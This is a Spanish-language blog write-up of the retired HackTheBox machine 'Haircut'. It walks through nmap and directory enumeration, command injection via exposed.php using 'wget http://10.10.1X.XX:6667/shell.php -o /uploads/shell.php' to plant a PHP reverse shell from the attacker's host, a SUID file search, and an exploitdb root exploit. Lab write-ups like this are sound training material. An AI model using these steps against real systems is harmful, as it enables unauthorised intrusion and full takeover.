HTB Write-up – Haircut

Buenas!

Continuamos con un nuevo write-up sobre otra máquina de HacktheBox. En este caso, se trata de la máquina retirada «Haircut».

 

 

El write-up se divide en tres fases:

  • Enumeración.
  • Explotación
  • Postexplotación

Enumeración

Enumeración de servicios

Para ello, empleamos nmap:

 

Se identifican los puertos/servicios:

  • 22 – SSH
  • 80 -HTTP

Enumeración de directorios

Para ello, se emplean herramientas como dirseach o cansina:

 

Tras lanzar varios diccionarios sólo se identifica el directorio uploads. Tras emplear varios diccionarios finalmente se identifica el fichero exposed.php en el directorio raíz.

 

Analizando el funcionamiento parece que el fichero realiza un wget o curl a supuestamente un fichero del propio servidor web.

 

Explotación

Una vez identificado un posible vector de entrada, comienza la fase de explotación con el objetivo de lograr acceso remoto a la máquina y obtener la flag de user.txt.

La jugada es crear un fichero malicioso de código PHP para subirlo al servidor a través del script SimpleHTTPServer de python.

 

 

A continuación, en el formulario se introduje el comando: wget http://10.10.1X.XX:6667/shell.php

 

Sin embargo, la primera que vez que lo ejecute pensé que se guardaría por defecto en el raíz o en /uploads, sin embargo, no es así. Tras estudiar como se podría hacer, vi que hay que añadir la opcion –o /uploads/shell.php para añadir la salida a dicho fichero y guardarlo en la carpeta /uploads.

De esta manera, al acceder a /uploads/shell.php se recibe la reverse al listener en la escucha:

 

Se accede a la flag de user.txt

 

Postexplotación

El objetivo es lograr ser root en la máquina, lo que implica realizar una escalada de privilegios.

En primer lugar, se suben a la máquina víctima herramientas locales de enumeración como LinEnum o linux-exploit-suggester. La primera es muy útil, pero desde mi punto de vista trae tanta información que a veces pasa desapercibida alguna cosa interesante o eso me pasa a mí 😉

Por ello, se procede a enumerar ficheros con permisos SUID:

find / -perm -4000 2>/dev/null

 

 

Se identifica un software con una versión. Lo primero que llama la atención es ¿Esa versión está actualizada? En caso contrario, ¿Tendrá alguna vulnerabilidad? Para ello, haciendo una simple búsqueda en Google, encontramos enlaces de exploitdb:

 

Como se observa el exploit está paso a paso explicado. En primer lugar, se crean los ficheros libhax,c y rootshell.c:

 

A continuación, se compilan:

 

Y se transfieren a la máquina víctima:

 

Finalmente, se siguen las últimas instrucciones hasta ejecutar el exploit rootshell logrando ser root:

 

Se trata de una máquina de dificultad intermedia, dónde se demuestra la importancia de una buena enumeración para identificar el vector de entrada, así como la identificación del software vulnerable instalado.

Espero que os haya gustado y resultado útil.

Nos vemos en la siguiente entrada 😉

Saludos.

N4xh4ck5

La mejor defensa es un buen ataque